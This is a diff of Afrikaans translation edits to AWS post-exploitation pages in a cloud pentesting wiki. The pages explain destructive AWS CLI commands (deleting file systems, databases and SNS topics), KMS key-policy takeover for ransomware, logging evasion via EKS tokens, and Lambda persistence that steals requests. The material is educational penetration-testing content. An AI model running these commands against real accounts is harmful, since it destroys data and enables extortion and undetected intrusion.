+'n Aanvaller kan 'n hele EFS-lêerstelsel verwyder, wat kan lei tot dataverlies en impak op toepassings wat op die lêerstelsel staatmaak.
```perl
aws efs delete-file-system --file-system-id
```
@@ -28,15 +28,15 @@ aws efs delete-file-system --file-system-id
### `elasticfilesystem:UpdateFileSystem`
-'n Aanvaller kan die EFS-lêerstelsel eienskappe opdateer, soos deurgangmodus, om die prestasie daarvan te beïnvloed of hulpbronuitputting te veroorsaak.
+'n Aanvaller kan die EFS-lêerstelsel eienskappe opdateer, soos deursetmodus, om die prestasie daarvan te beïnvloed of hulpbronuitputting te veroorsaak.
```sql
aws efs update-file-system --file-system-id --provisioned-throughput-in-mibps
```
-**Potensiële Impak**: Afname in lêerstelsels se prestasie of hulpbronuitputting.
+**Potensiële Impak**: Afname van lêerstelsels se prestasie of hulpbronuitputting.
### `elasticfilesystem:CreateAccessPoint` en `elasticfilesystem:DeleteAccessPoint`
-'n Aanvaller kan toegangspunte skep of verwyder, wat toegangbeheer verander en moontlik onregmatige toegang tot die lêerstelsel aan hulself verleen.
+'n Aanvaller kan toegangspunte skep of verwyder, toegangbeheer verander en moontlik onregmatige toegang tot die lêerstelsel aan hulself verleen.
```arduino
aws efs create-access-point --file-system-id --posix-user --root-directory
aws efs delete-access-point --access-point-id
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
index bcd15110a..5302fceaa 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
@@ -23,7 +23,7 @@ aws eks update-kubeconfig --name aws-eks-dev
```
- Nie so maklik nie:
-As jy **'n token kan kry** met **`aws eks get-token --name `** maar jy het nie toestemming om cluster inligting te kry nie (describeCluster), kan jy **jou eie `~/.kube/config` voorberei**. Maar, met die token, moet jy steeds die **url eindpunt om te verbind** (as jy daarin geslaag het om 'n JWT token van 'n pod te kry, lees [hier](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) en die **naam van die cluster**.
+As jy **'n token kan kry** met **`aws eks get-token --name `** maar jy het nie toestemming om cluster inligting te kry nie (describeCluster), kan jy **jou eie `~/.kube/config` voorberei**. Maar, met die token, moet jy steeds die **url eindpunt om te verbind** hê (as jy daarin geslaag het om 'n JWT token van 'n pod te kry, lees [hier](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) en die **naam van die cluster**.
In my geval, het ek nie die inligting in CloudWatch logs gevind nie, maar ek **het dit in LaunchTemplates userData gevind** en in **EC2 masjiene in userData ook**. Jy kan hierdie inligting maklik in **userData** sien, byvoorbeeld in die volgende voorbeeld (die cluster naam was cluster-name):
```bash
@@ -72,28 +72,28 @@ provideClusterInfo: false
### Van AWS na Kubernetes
-Die **skepper** van die **EKS-kluster** sal **ALTYD** in staat wees om in die kubernetes kluster deel van die groep **`system:masters`** (k8s admin) te kom. Ten tyde van hierdie skrywe is daar **geen direkte manier** om **te vind wie die kluster geskep het** (jy kan CloudTrail nagaan). En daar is **geen manier** om daardie **privilegie** te **verwyder**.
+Die **skepper** van die **EKS-kluster** sal **ALTYD** in staat wees om in die kubernetes kluster deel van die groep **`system:masters`** (k8s admin) te kom. Ten tyde van hierdie skrywe is daar **geen direkte manier** om te vind **wie die kluster geskep het** (jy kan CloudTrail nagaan). En daar is **geen manier** om daardie **privilege** te **verwyder**.
Die manier om **toegang tot K8s aan meer AWS IAM gebruikers of rolle** te verleen, is deur die **configmap** **`aws-auth`** te gebruik.
> [!WARNING]
-> Daarom sal enige iemand met **skryftoegang** oor die config map **`aws-auth`** in staat wees om die **hele kluster te kompromitteer**.
+> Daarom sal enigeen met **skryftoegang** oor die config map **`aws-auth`** in staat wees om die **hele kluster te kompromitteer**.
-Vir meer inligting oor hoe om **bykomende privilegies aan IAM rolle & gebruikers** in die **dieselfde of verskillende rekening** te verleen en hoe om dit te **misbruik**, kyk na [**privesc kyk hierdie bladsy**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps).
+Vir meer inligting oor hoe om **addisionele privileges aan IAM rolle & gebruikers** in die **dieselfde of verskillende rekening** te verleen en hoe om dit te **misbruik**, kyk na [**privesc check this page**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps).
-Kyk ook na[ **hierdie wonderlike**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **plasing om te leer hoe die authenticatie IAM -> Kubernetes werk**.
+Kyk ook na[ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post om te leer hoe die authenticatie IAM -> Kubernetes werk**.
### Van Kubernetes na AWS
-Dit is moontlik om 'n **OpenID-authenticatie vir kubernetes diensrekening** toe te laat om hulle in staat te stel om rolle in AWS aan te neem. Leer hoe [**dit werk op hierdie bladsy**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
+Dit is moontlik om 'n **OpenID-authenticatie vir kubernetes diensrekening** toe te laat om hulle in staat te stel om rolle in AWS aan te neem. Leer hoe [**this work in this page**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
-### KRY Api Bediening Eindpunt van 'n JWT Token
+### KRY Api Server Eindpunt van 'n JWT Token
-Deur die JWT-token te ontcijfer, kry ons die kluster-id & ook die streek.  Weet dat die standaardformaat vir EKS-URL is
+Deur die JWT-token te ontleed, kry ons die kluster-id & ook die streek.  Weet dat die standaardformaat vir EKS-URL is
```bash
https://...eks.amazonaws.com
```
-Nie enige dokumentasie gevind wat die kriteria vir die 'twee karakters' en die 'nommer' verduidelik nie. Maar deur 'n paar toetse namens myself te doen, sien ek dat hierdie eene herhaaldelik voorkom:
+Nie enige dokumentasie gevind wat die kriteria vir die 'twee karakters' en die 'nommer' verduidelik nie. Maar deur 'n paar toetse namens myself te doen, sien ek dat hierdie eenhede herhaaldelik voorkom:
- gr7
- yl4
@@ -125,15 +125,15 @@ wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws
As 'n aanvaller die akrediteer van 'n AWS met **toestemming oor 'n EKS** verkry. As die aanvaller sy eie **`kubeconfig`** (sonder om **`update-kubeconfig`** te noem) soos voorheen verduidelik, genereer die **`get-token`** nie logs in Cloudtrail nie omdat dit nie met die AWS API interaksie het nie (dit skep net die token plaaslik).
-So wanneer die aanvaller met die EKS-kluster praat, **sal cloudtrail niks log wat verband hou met die gebruiker wat gesteel is en toegang verkry nie**.
+So wanneer die aanvaller met die EKS-kluster praat, **sal cloudtrail niks log wat verband hou met die gebruiker wat gesteel is en toegang daartoe het nie**.
-Let daarop dat die **EKS-kluster dalk logs geaktiveer het** wat hierdie toegang sal log (alhoewel dit standaard gedeaktiveer is).
+Let daarop dat die **EKS-kluster dalk logs geaktiveer het** wat hierdie toegang sal log (alhoewel, standaard, is hulle gedeaktiveer).
### EKS Ransom?
-Standaard het die **gebruiker of rol wat 'n kluster geskep het** **ALTYD administratiewe regte** oor die kluster. En dit is die enigste "veilige" toegang wat AWS oor die Kubernetes-kluster sal hê.
+Standaard het die **gebruiker of rol wat 'n** kluster geskep het **ALTYD administratiewe regte** oor die kluster. En dit is die enigste "veilige" toegang wat AWS oor die Kubernetes-kluster sal hê.
-So, as 'n **aanvaller 'n kluster met fargate kompromitteer** en **alle ander admins verwyder** en **die AWS gebruiker/rol wat die Kluster geskep het verwyder**, ~~kan die aanvaller die **kluster geënkripteer het**~~**r**.
+So, as 'n **aanvaller 'n kluster met fargate kompromitteer** en **alle ander admins verwyder** en **die AWS gebruiker/rol wat die** Kluster geskep het, verwyder, ~~kan die aanvaller die **kluster ge**~~**ransom**.
> [!TIP]
> Let daarop dat as die kluster **EC2 VMs** gebruik, dit moontlik kan wees om Admin regte van die **Node** te verkry en die kluster te herstel.
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
index 4c7810928..5c1a4120b 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
@@ -13,13 +13,13 @@ Vir meer inligting:
### `elasticbeanstalk:DeleteApplicationVersion`
> [!NOTE]
-> TODO: Toets of meer toestemmings benodig word hiervoor
+> TODO: Toets of meer toestemmings benodig word vir hierdie
'n Aanvaller met die toestemming `elasticbeanstalk:DeleteApplicationVersion` kan **'n bestaande toepassingsweergawe verwyder**. Hierdie aksie kan toepassingsontplooiing pyplyne ontwrig of die verlies van spesifieke toepassingsweergawes veroorsaak as dit nie geback-up is nie.
```bash
aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
```
-**Potensiële Impak**: Ontwrichting van toepassingsontplooiing en potensiële verlies van toepassingsweergawe.
+**Potensiële Impak**: Ontwrichting van toepassingsontplooiing en potensiële verlies van toepassingsweergawes.
### `elasticbeanstalk:TerminateEnvironment`
@@ -35,9 +35,9 @@ aws elasticbeanstalk terminate-environment --environment-name my-existing-env
### `elasticbeanstalk:DeleteApplication`
> [!NOTE]
-> TODO: Toets of meer toestemmings benodig word hiervoor
+> TODO: Toets of meer toestemmings benodig word vir dit
-'n Aanvaller met die toestemming `elasticbeanstalk:DeleteApplication` kan **'n hele Elastic Beanstalk-toepassing verwyder**, insluitend al sy weergawes en omgewings. Hierdie aksie kan 'n beduidende verlies aan toepassingshulpbronne en konfigurasies veroorsaak as dit nie geback-up is nie.
+'n Aanvaller met die toestemming `elasticbeanstalk:DeleteApplication` kan **'n hele Elastic Beanstalk-toepassing verwyder**, insluitend al sy weergawes en omgewings. Hierdie aksie kan 'n beduidende verlies van toepassingshulpbronne en konfigurasies veroorsaak as dit nie geback-up is nie.
```bash
aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
```
@@ -48,11 +48,11 @@ aws elasticbeanstalk delete-application --application-name my-app --terminate-en
> [!NOTE]
> TODO: Toets of meer toestemmings benodig word vir dit
-'n Aanvaller met die `elasticbeanstalk:SwapEnvironmentCNAMEs` toestemming kan **die CNAME-rekords van twee Elastic Beanstalk omgewings omruil**, wat mag veroorsaak dat die verkeerde weergawe van die toepassing aan gebruikers bedien word of lei tot onbedoelde gedrag.
+'n Aanvaller met die `elasticbeanstalk:SwapEnvironmentCNAMEs` toestemming kan **die CNAME-rekords van twee Elastic Beanstalk omgewings verwissel**, wat mag veroorsaak dat die verkeerde weergawe van die toepassing aan gebruikers bedien word of lei tot onbedoelde gedrag.
```bash
aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
```
-**Potensiële Impak**: Om die verkeerde weergawe van die toepassing aan gebruikers te dien of om onbedoelde gedrag in die toepassing te veroorsaak as gevolg van gewisselde omgewings.
+**Potensiële Impak**: Om die verkeerde weergawe van die toepassing aan gebruikers te dien of om onbedoelde gedrag in die toepassing te veroorsaak as gevolg van verwisselde omgewings.
### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
index 9f08ea283..2669fc477 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
@@ -4,7 +4,7 @@
## IAM
-Vir meer inligting oor IAM-toegang:
+Vir meer inligting oor IAM toegang:
{{#ref}}
../aws-services/aws-iam-enum.md
@@ -14,7 +14,7 @@ Vir meer inligting oor IAM-toegang:
As jy **'n eksterne rekening (A)** toelaat om toegang te verkry tot 'n **rol** in jou rekening, sal jy waarskynlik **0 sigbaarheid** hê oor **wie presies toegang tot daardie eksterne rekening kan verkry**. Dit is 'n probleem, want as 'n ander eksterne rekening (B) toegang kan verkry tot die eksterne rekening (A), is dit moontlik dat **B ook toegang tot jou rekening sal hê**.
-Daarom, wanneer jy 'n eksterne rekening toelaat om toegang te verkry tot 'n rol in jou rekening, is dit moontlik om 'n `ExternalId` te spesifiseer. Dit is 'n "geheime" string wat die eksterne rekening (A) **moet spesifiseer** om **die rol in jou organisasie aan te neem**. Aangesien die **eksterne rekening B nie van hierdie string weet nie**, selfs al het hy toegang tot A, sal hy **nie in staat wees om jou rol te benader nie**.
+Daarom, wanneer jy 'n eksterne rekening toelaat om toegang te verkry tot 'n rol in jou rekening, is dit moontlik om 'n `ExternalId` te spesifiseer. Dit is 'n "geheime" string wat die eksterne rekening (A) **moet spesifiseer** om **die rol in jou organisasie aan te neem**. Aangesien die **eksterne rekening B nie van hierdie string weet nie**, selfs al het hy toegang oor A, sal hy **nie in staat wees om jou rol te benader nie**.
@@ -62,7 +62,7 @@ Hierdie beleid **laat alle AWS** toe om die rol aan te neem.
"Resource": "arn:aws:lambda:000000000000:function:foo"
}
```
-Hierdie beleid **toelaat enige rekening** om hul apigateway te konfigureer om hierdie Lambda aan te roep.
+Hierdie beleid **staak enige rekening** toe om hul apigateway te konfigureer om hierdie Lambda aan te roep.
#### S3 as hoofpersoon
```json
@@ -73,7 +73,7 @@ Hierdie beleid **toelaat enige rekening** om hul apigateway te konfigureer om hi
}
}
```
-As 'n S3-emmer as 'n hoofpersoon gegee word, omdat S3-emmers nie 'n rekening-ID het nie, as jy **jou emmer verwyder het en die aanvaller dit in hul eie rekening geskep het**, kan hulle dit misbruik.
+As 'n S3-bucket as 'n hoofpersoon gegee word, omdat S3-buckets nie 'n rekening-ID het nie, as jy **jou bucket verwyder het en die aanvaller dit in hul eie rekening geskep het**, kan hulle dit misbruik.
#### Nie ondersteun nie
```json
@@ -86,7 +86,7 @@ As 'n S3-emmer as 'n hoofpersoon gegee word, omdat S3-emmers nie 'n rekening-ID
```
'n Algemene manier om Confused Deputy probleme te vermy, is die gebruik van 'n voorwaarde met `AWS:SourceArn` om die oorsprong ARN te kontroleer. egter, **sommige dienste mag dit nie ondersteun nie** (soos CloudTrail volgens sommige bronne).
-## References
+## Verwysings
- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
index 45718b74f..f77412a40 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
@@ -12,13 +12,13 @@ Vir meer inligting, kyk:
### Enkripteer/Deenkripteer inligting
-`fileb://` en `file://` is URI skemas wat in AWS CLI opdragte gebruik word om die pad na plaaslike lêers te spesifiseer:
+`fileb://` en `file://` is URI skemas wat in AWS CLI opdragte gebruik word om die pad na plaaslike lêers aan te dui:
- `fileb://:` Lees die lêer in binêre modus, algemeen gebruik vir nie-teks lêers.
- `file://:` Lees die lêer in teksmodus, tipies gebruik vir gewone teks lêers, skripte, of JSON wat nie spesiale kodering vereistes het nie.
> [!TIP]
-> Let daarop dat as jy sekere data binne 'n lêer wil deenkripteer, die lêer die binêre data moet bevat, nie base64 gekodeerde data nie. (fileb://)
+> Let daarop dat as jy sekere data binne 'n lêer wil deenkripteer, die lêer die binêre data moet bevat, nie base64 geënkodeerde data nie. (fileb://)
- Gebruik 'n **simmetriese** sleutel
```bash
@@ -38,7 +38,7 @@ aws kms decrypt \
--query Plaintext | base64 \
--decode
```
-- Gebruik van 'n **asimetiese** sleutel:
+- Gebruik 'n **asymmetriese** sleutel:
```bash
# Encrypt data
aws kms encrypt \
@@ -60,12 +60,12 @@ aws kms decrypt \
```
### KMS Ransomware
-'n Aanvaller met bevoorregte toegang oor KMS kan die KMS-beleid van sleutels wysig en **sy rekening toegang oor hulle verleen**, terwyl die toegang wat aan die regte rekening gegee is, verwyder word.
+'n Aanvaller met bevoorregte toegang oor KMS kan die KMS-beleid van sleutels wysig en **sy rekening toegang oor hulle verleen**, terwyl die toegang wat aan die wettige rekening gegee is, verwyder word.
-Dan sal die regte rekeninggebruikers nie in staat wees om enige inligting van enige diens wat met daardie sleutels versleuteld is, te bekom nie, wat 'n maklike maar effektiewe ransomware oor die rekening skep.
+Dan sal die wettige rekeninggebruikers nie in staat wees om enige inligting van enige diens wat met daardie sleutels versleuteld is, te bekom nie, wat 'n maklike maar effektiewe ransomware oor die rekening skep.
> [!WARNING]
-> Let daarop dat **AWS bestuurde sleutels nie deur hierdie aanval geraak word** nie, slegs **Kliënt bestuurde sleutels**.
+> Let daarop dat **AWS bestuurde sleutels nie deur hierdie aanval geraak word nie**, slegs **Kliënt bestuurde sleutels**.
> Let ook op die behoefte om die parameter **`--bypass-policy-lockout-safety-check`** te gebruik (die gebrek aan hierdie opsie in die webkonsol maak hierdie aanval slegs moontlik vanaf die CLI).
```bash
@@ -118,7 +118,7 @@ aws kms schedule-key-deletion \
--pending-window-in-days 7
```
> [!CAUTION]
-> Let daarop dat AWS nou **voorkom dat die vorige aksies vanaf 'n kruisrekening uitgevoer kan word:**
+> Let daarop dat AWS nou **voorkom dat die vorige aksies vanaf 'n kruisrekening uitgevoer word:**
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
index 6c37f1c7e..ac3407362 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
@@ -1,4 +1,4 @@
-# AWS - Lambda Post Exploitation
+# AWS - Lambda Post Exploitatie
{{#include ../../../../banners/hacktricks-training.md}}
@@ -12,7 +12,7 @@ Vir meer inligting, kyk:
### Steel Ander se Lambda URL Versoeke
-As 'n aanvaller op een of ander manier daarin slaag om RCE binne 'n Lambda te kry, sal hy in staat wees om ander gebruikers se HTTP versoeke na die lambda te steel. As die versoeke sensitiewe inligting bevat (koekies, geloofsbriewe...) sal hy in staat wees om dit te steel.
+As 'n aanvaller op een of ander manier daarin slaag om RCE binne 'n Lambda te kry, sal hy in staat wees om ander gebruikers se HTTP versoeke na die lambda te steel. As die versoeke sensitiewe inligting bevat (koekies, geloofsbriewe...), sal hy in staat wees om dit te steel.
{{#ref}}
aws-warm-lambda-persistence.md
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
index 71eb056d5..3b44be1c8 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
@@ -20,14 +20,14 @@ Let daarop dat bootstrap die gebruikerskode as 'n module laai, so enige kode-uit
Die doel van hierdie aanval is om die gebruikerskode 'n kwaadwillige **`bootstrap.py`** proses binne die **`bootstrap.py`** proses te laat uitvoer wat die kwesbare versoek hanteer. Op hierdie manier sal die **kwaadwillige bootstrap** proses begin **praat met die init proses** om die versoeke te hanteer terwyl die **legitieme** bootstrap **gevang** is wat die kwaadwillige een uitvoer, sodat dit nie versoeke aan die init proses sal vra nie.
-Dit is 'n eenvoudige taak om te bereik aangesien die kode van die gebruiker deur die legitieme **`bootstrap.py`** proses uitgevoer word. So kan die aanvaller:
+Dit is 'n eenvoudige taak om te bereik aangesien die kode van die gebruiker deur die legitieme **`bootstrap.py`** proses uitgevoer word. So die aanvaller kan:
- **Stuur 'n vals resultaat van die huidige aanroep na die init proses**, sodat init dink die bootstrap proses wag vir meer aanroepings.
- 'n Versoek moet gestuur word na **`/${invoke-id}/response`**
-- Die invoke-id kan verkry word uit die stapel van die legitieme **`bootstrap.py`** proses deur die [**inspect**](https://docs.python.org/3/library/inspect.html) python module (soos [hier voorgestel](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) of net weer te vra na **`/2018-06-01/runtime/invocation/next`** (soos [hier voorgestel](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)).
+- Die invoke-id kan verkry word uit die stapel van die legitieme **`bootstrap.py`** proses deur die [**inspect**](https://docs.python.org/3/library/inspect.html) python module (soos [hier voorgestel](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) of net weer aan te vra by **`/2018-06-01/runtime/invocation/next`** (soos [hier voorgestel](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)).
- Voer 'n kwaadwillige **`boostrap.py`** uit wat die volgende aanroepings sal hanteer
- Vir stealthiness doeleindes is dit moontlik om die lambda aanroepingsparameters na 'n aanvaller beheerde C2 te stuur en dan die versoeke soos gewoonlik te hanteer.
-- Vir hierdie aanval is dit genoeg om die oorspronklike kode van **`bootstrap.py`** van die stelsel of [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py) te kry, die kwaadwillige kode by te voeg en dit van die huidige lambda aanroep uit te voer.
+- Vir hierdie aanval is dit genoeg om die oorspronklike kode van **`bootstrap.py`** van die stelsel of [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py) te kry, die kwaadwillige kode by te voeg en dit van die huidige lambda aanroep af uit te voer.
### Aanval Stappe
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
index bc79412de..c7630ab35 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
@@ -61,7 +61,7 @@ aws rds download-db-log-file-portion --db-instance-identifier target-instance --
### `rds:DeleteDBInstance`
-'n Aanvaller met hierdie toestemmings kan **DoS bestaande RDS-instanties**.
+'n Aanvaller met hierdie toestemmings kan **DoS bestaande RDS instansies**.
```bash
# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
index f48b618e3..4a6f0cac5 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
@@ -12,12 +12,12 @@ Vir meer inligting, kyk:
### Sensitiewe Inligting
-Soms sal jy sensitiewe inligting in leesbare formaat in die emmers kan vind. Byvoorbeeld, terraform staat geheime.
+Soms sal jy in staat wees om sensitiewe inligting in leesbare vorm in die emmers te vind. Byvoorbeeld, terraform staat geheime.
### Pivoting
Verskillende platforms kan S3 gebruik om sensitiewe bates te stoor.\
-Byvoorbeeld, **airflow** kan **DAGs** **kode** daarin stoor, of **webblaaie** kan direk vanaf S3 bedien word. 'n Aanvaller met skryfrechten kan die **kode** van die emmer **wysig** om na ander platforms te **pivot** of **rekeningneem** deur JS-lêers te wysig.
+Byvoorbeeld, **airflow** kan **DAGs** **kode** daarin stoor, of **webbladsye** kan direk van S3 bedien word. 'n Aanvaller met skryfrechten kan die **kode** van die emmer **wysig** om na ander platforms te **pivot** of **rekening oor te neem** deur JS-lêers te wysig.
### S3 Ransomware
@@ -33,6 +33,6 @@ Om verdere druk te plaas, skeduleer die aanvaller die verwydering van die KMS-sl
Laastens, die aanvaller kan 'n finale lêer oplaai, gewoonlik genaamd "ransom-note.txt," wat instruksies vir die teiken bevat oor hoe om hul lêers te herwin. Hierdie lêer word sonder enkripsie opgelaai, waarskynlik om die teiken se aandag te trek en hulle bewus te maak van die ransomware-aanval.
-**Vir meer inligting** [**kyk die oorspronklike navorsing**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
+**Vir meer inligting** [**kyk na die oorspronklike navorsing**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
index 191b7c5ea..ebd1237d8 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
@@ -10,13 +10,13 @@ Vir meer inligting, kyk:
../aws-services/aws-secrets-manager-enum.md
{{#endref}}
-### Lees Geheimen
+### Lees Secrets
-Die **geheimen self is sensitiewe inligting**, [kyk die privesc-bladsy](../aws-privilege-escalation/aws-secrets-manager-privesc.md) om te leer hoe om dit te lees.
+Die **secrets self is sensitiewe inligting**, [kyk die privesc bladsy](../aws-privilege-escalation/aws-secrets-manager-privesc.md) om te leer hoe om hulle te lees.
-### DoS Verander Geheim Waarde
+### DoS Verander Secret Waarde
-Deur die waarde van die geheim te verander, kan jy **DoS al die stelsels wat op daardie waarde afhanklik is.**
+Deur die waarde van die secret te verander, kan jy **DoS al die stelsels wat op daardie waarde afhanklik is.**
> [!WARNING]
> Let daarop dat vorige waardes ook gestoor word, so dit is maklik om net terug te gaan na die vorige waarde.
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
index 87eaf5dbe..896f973e5 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
@@ -1,4 +1,4 @@
-# AWS - SES Post Exploitation
+# AWS - SES Post Exploitatie
{{#include ../../../banners/hacktricks-training.md}}
@@ -17,7 +17,7 @@ Stuur 'n e-pos.
aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json
aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json
```
-Still to test.
+Nog om te toets.
### `ses:SendRawEmail`
@@ -37,6 +37,8 @@ Stuur 'n e-pos na verskeie bestemmings
```bash
aws ses send-bulk-templated-email --source --template
```
+Nog om te toets.
+
### `ses:SendBulkEmail`
Stuur 'n e-pos na verskeie bestemmings.
@@ -56,6 +58,6 @@ Dit sal 'n aangepaste verifikasie-e-pos stuur. Jy mag dalk ook toestemmings nodi
aws ses send-custom-verification-email --email-address --template-name
aws sesv2 send-custom-verification-email --email-address --template-name
```
-Nog om te toets.
+Nog om te toets.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
index 866c5f7e5..ceeafa266 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
@@ -12,11 +12,11 @@ Vir meer inligting:
### Ontwrigt Berigte
-In verskeie gevalle word SNS-onderwerpe gebruik om boodskappe na platforms te stuur wat gemonitor word (e-pos, slack boodskappe...). As 'n aanvaller die sending van die boodskappe wat oor sy teenwoordigheid in die wolk waarsku, voorkom, kan hy onopgemerk bly.
+In verskeie gevalle word SNS onderwerpe gebruik om boodskappe na platforms te stuur wat gemonitor word (e-pos, slack boodskappe...). As 'n aanvaller die sending van die boodskappe wat oor sy teenwoordigheid in die wolk waarsku, kan voorkom, kan hy onopgemerk bly.
### `sns:DeleteTopic`
-'n Aanvaller kan 'n hele SNS-onderwerp verwyder, wat boodskapverlies veroorsaak en toepassings wat op die onderwerp staatmaak, beïnvloed.
+'n Aanvaller kan 'n hele SNS onderwerp verwyder, wat boodskapverlies veroorsaak en toepassings wat op die onderwerp staatmaak, beïnvloed.
```bash
aws sns delete-topic --topic-arn
```
@@ -24,7 +24,7 @@ aws sns delete-topic --topic-arn
### `sns:Publish`
-'n Aanvaller kan kwaadwillige of ongewenste boodskappe na die SNS-onderwerp stuur, wat moontlik datakorruptie kan veroorsaak, onbedoelde aksies kan ontketen, of hulpbronne kan uitput.
+'n Aanvaller kan kwaadwillige of ongewenste boodskappe na die SNS onderwerp stuur, wat moontlik datakorruptie kan veroorsaak, onbedoelde aksies kan ontketen, of hulpbronne kan uitput.
```bash
aws sns publish --topic-arn --message
```
@@ -32,7 +32,7 @@ aws sns publish --topic-arn --message
### `sns:SetTopicAttributes`
-'n Aanvaller kan die eienskappe van 'n SNS-tema wysig, wat moontlik sy prestasie, sekuriteit of beskikbaarheid kan beïnvloed.
+'n Aanvaller kan die eienskappe van 'n SNS-tema verander, wat moontlik die prestasie, sekuriteit of beskikbaarheid daarvan kan beïnvloed.
```bash
aws sns set-topic-attributes --topic-arn --attribute-name --attribute-value
```
@@ -40,7 +40,7 @@ aws sns set-topic-attributes --topic-arn --attribute-name --attr
